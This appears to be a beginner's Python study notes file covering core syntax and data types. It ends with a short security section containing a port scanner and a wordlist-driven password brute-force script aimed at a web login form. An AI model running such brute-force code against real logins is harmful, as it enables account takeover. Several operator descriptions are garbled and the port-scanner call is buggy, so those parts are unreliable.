# Python ### String **Creation:** * Example: `my_string = 'Hello, World!'` or `my_string = "Hello, World!"` **Accessing Characters:** * You can access individual characters within a string using indexing, starting from 0. * Example: `print(my_string[0])` would output 'H'. **String Concatenation:** * You can concatenate (join) two or more strings using the `+` operator. * Example: `greeting = 'Hello' + ' ' + 'World!'` would result in 'Hello World!'. **String Length:** * The `len()` function can be used to determine the length (number of characters) of a string. * Example: `print(len(my_string))` would output the length of the string. **String Slicing:** * You can extract a substring from a string using slicing, specifying the start and end indices. * Example: `substring = my_string[7:12]` would extract the substring 'World'. ```python print(x[:9]) # will print from 0 to 9 print(x[9:]) # print from 9 to the last char print(x[0:5]) # print from 0 to 5 ``` **String Methods:** * Python provides various built-in methods to manipulate and transform strings. Examples include `upper()`, `lower()`, `strip()`, `split()`, `replace()`, and more. * Example: `print(my_string.upper())` would output 'HELLO, WORLD!'. ```python # split : splits a string into a list of strings after breaking the given string by the specified separator. x="hello world" print(x.split(" ")) # output ['hello', 'world'] ``` **String Formatting:** * String formatting allows you to embed values within a string. This can be done using the `%` operator or the `format()` method. * You can also use f strings as shown in the example below ```python name = 'Alice' age = 30 print("My name is %s and I'm %d years old." % (name, age)) print(f"My name is {name} and I'm {age} years old.") # i like this way # Both will output: My name is Alice and I'm 30 years old. ``` ```python print("""This string runs multiple lines!""") *triple quote for multi-line* ``` To check if this char is found ```python user="hello world" print("a" in user) # return true or false - Case sensitive ``` *** ### **Arithmetic Operations** **Math Operators:** * Addition (`+`): Adds two numbers. * Subtraction (\`\`): Subtracts one number from another. * Multiplication (\`\`): Multiplies two numbers. * Division (`/`): Divides one number by another. * Integer Division (`//`): Performs division and returns the quotient as an integer (rounds down) . * Modulo (`%`): Returns the remainder of division. * Exponentiation (`*`): Raises a number to a power. `u can use (int(5/2)) to return the int value` **Math Functions in the `math` Module:** * `math.sqrt(x)`: Calculates the square root of `x`. * `math.pow(x, y)`: Raises `x` to the power of `y`. * `math.exp(x)`: Calculates the exponential value of `x` (e^x). * `math.log(x)`: Calculates the natural logarithm of `x` (base e). * `math.log10(x)`: Calculates the logarithm of `x` to base 10. * `math.sin(x)`, `math.cos(x)`, `math.tan(x)`: Calculate the sine, cosine, and tangent of `x`, respectively (where `x` is in radians). * `math.degrees(x)`: Converts `x` from radians to degrees. * `math.radians(x)`: Converts `x` from degrees to radians. `but you must import math module first` *** ### **Variables and Basic Methods** **Functions** Some function for string `upper()` , `lower()` , `title()` ```python var = "hello world" print(var.upper()) # print all cahrs is upper "HELLO WORLD" print(var.lower()) # print all cahrs is lower "hello world" print(var.title()) # print the first char of each word is capital "Hello World" ``` → In python we can’t concatenate `int`with `string` we can transfer it to string to use concatenation by this way `str(var)` → python don’t have `Postfix` and `Prefix` *** ### User Input We use `input()` to take value from user ```python var = input("Enter your name") print (f"your name is {var}") # your name is Ahmed # the value is stored in var is always string var = int(input("Enter your age: ")) print (type(var)) # is print # the type of var is int ``` *** ### Functions To write Function `def NameOfFunction():` ```python # void function (like cpp XD :) def whoami(name,age): print(f"my name is {name} and my age is {age}") # creat two varible to use him in the function name = input() age = input() whoami(name,age) # the output is "my name is ahmed and my age is 99" ``` ```python def add(num1,num2): return num1 + num2 x=20;y=20 # we can write to variable in the same line but we must write semi column (;) print(add(x,y)) ``` → `num1`, `num2` in function called `parameter` *** ### Condition if condition have 3 type `if`, `elif`, `else` ```python # and , or used in condition def fun(x): if x>=93 and x<=100: return "A grade" elif x<93 and x>=89: return "A- grade" else: return "B grade" print(fun(92)) print(fun(80)) ``` *** ### Loop **Use For loop** ```python x="hello everyone how are you" for i in x: print(i,end=" ") # print each char with space not new line # output -> h e l l o e v e r y o n e h o w a r e y o u ``` `range` → we use it with int number and have `(start,end,step)` ```python for i in range(0,10,2): print(i,end="") # output is 02468 start=0 , end=10 ,step=2 for i in range(0,10): # we can remove step (default step is 1) and we can remove start (default is 0) print(i,end="") # 0123456789 ``` **Use While loop** → we use while when we can’t know the number of steps we need it so use it with condition like check the correct password ```python x=10 while x>5: print(x,end=" ") # output is 10 9 8 7 6 x-=1 ``` *** ### List Have `brackets []` - everything inside is called an item - is called array in another programming language like cpp,php,etc ```python arr=["ahmed",99,"hitler",'c'] print(arr[1]) # output is 99 - return the second item in the list print(arr[1:3]) # return the first number (99) until the last number given (hitler) | 1 - 2 -> range print(arr[:2]) # return from item 0 to item 1 (ahmed , 99) print(arr[-1]) # return the last item ``` Some Function use with List ```python arr.append("user") # insert value in the last of list arr.insert(2,20) # take the position and value arr.pop(2) # remove item 2 from list the default value is -1 ``` → Combine list : concatenation with two list or more and store it in another list *** ### Tuples `Immutable`(can’t be changed) - `()` ```python arr=("user",20,"test") print(arr) ``` we can use it with color like `red =(255,0,0)` *** ### Dictionary Key/Value pairs { } -`{key:value}` ```python x={"name": "ahmed","age":00} print(x["name"]) # to print value you must use the key of this value ``` the value may be `List` but the key is unique ```python dict={"users":["user1","user2","user3"]} ``` we can add new key to dictionary by this way ```python dict={"users":["user1","user2","user3"]} dict["cname"]="alias" # NameOfDictionary[Key]=value print(dict) # output => {'users': ['user1', 'user2', 'user3'], 'cname': 'alias'} ``` Dictionary functions ```python dict={"users":["user1","user2","user3"]} dict.update({"cname":"alias"}) # use to insert key,value in the dictionary print(dict.get("cname")) # print the value for this key print(len(dict)) # print the length for this dictionry del dict["cname"] # delete the item from dictionary del dict # delete this dictionary ``` To print dictionary with loop ```python for key in dict: print(key,dict[key]) ``` *** ### Socket To use socket u must import this module `import socket` ```python import socket host = '127.0.0.1' port = 7777 # create TCP connection tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # AF_INET -> IPv4 , SOCK_STREAM -> Port (for TCP) # Create a UDP socket udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # AF_INET -> IPv4 , SOCK_DGTAM -> Port (for TCP) tcp_socket.connect((host,port)) ``` Once you have a socket object, you can use various methods to establish connections, send data, and receive data. Here are some commonly used methods: * `socket.connect(address)`: Establishes a connection to a remote address. * `socket.bind(address)`: Binds the socket to a specific address and port. * `socket.listen(backlog)`: Listens for incoming connections on a TCP socket. * `socket.accept()`: Accepts an incoming connection and returns a new socket object for communication. * `socket.send(data)`: Sends data over the socket. * `socket.recv(buffer_size)`: Receives data from the socket. * `socket.settimeout(0.5)` : Set time for connection **Port Scanning For ip address** ```python import socket def port_scanning(ipaddress, port): try: soc=socket.socket() soc.settimeout(0.5) soc.connect(ipaddress,port) print (f"the port {port} is open") except: print (f"the port {port} is closed") ip=input("[+]Enter the IP address: ") for port in range(74,85): port_scanning(ip, port) ``` **check if is port or domain** ```python import socket from IPy import IP def check_ip(ip): try: # if user input is ip he will return him IP(ip) return ip except ValueError: # if user input is domain he will convert him return socket.gethostbyname(ip) ip=input("[+]Enter the IP address: ") convert_ip=check_ip(ip) # check if is domain or ip ``` *** ### Security we have many modules in python like `os` where it use to execute command on the system ```python import os print(os.system("dir")) # show all file in windows ``` `requests` send request to web page **GET** Request ```python import requests as req url="" res=req.**get**(url) # to get data from the server print(res.text) # show page source for this page in the request print(res.status_code) # show status code 200,301,302,404 ``` **POST** Request ```python import requests as req url="" payload="usernam=test&password=test" # data it will be sent (input name, input password) res=req.**post**(url,data=payload) # send data to server print(res.text) ``` **Password** brute force ```python import requests as req url="" def attack(lol): payload = f"uname=admin&password={lol}" res=req.post(url,data=payload) if "Invalid username or password" not in res.text: return 0; else: return 1; password=open("password.txt", "r") while True: line = password.readline().strip() if not line: print("Password not found") break if attack(line): print(f"Found password: {line}") break ``` *** ### Notes
*** #### **Variable Best Practices** **Best Practice for Variable Naming: `snake_case`** * All letters are in **lowercase**. * Words are separated by **underscores** (`_`). **Example of Snake Case:** ```python total_amount = 100 user_name = "JohnDoe" is_valid = True ``` **Constants in All Uppercase**: * For variables that represent constants (values that do not change), use **ALL\_UPPERCASE** with underscores between words. * Example: ```python MAX_SIZE = 100 DEFAULT_TIMEOUT = 30 ``` **Private Variables with Leading Underscore**: * If you intend for a variable to be used only within a module or class, prefix it with a single underscore (`_`), indicating that it is meant to be "private." * Example: ```python _cache = {} _internal_variable = 42 ``` **Summary of Best Practices:** * \*\*Use `snake_case**` for variable names. * **Use meaningful and descriptive** names. * **Avoid reserved keywords**. * Use **ALL\_UPPERCASE** for constants. * Use a **leading underscore (`_`)** for internal/private variables. * **Be consistent** with naming conventions across your code. ***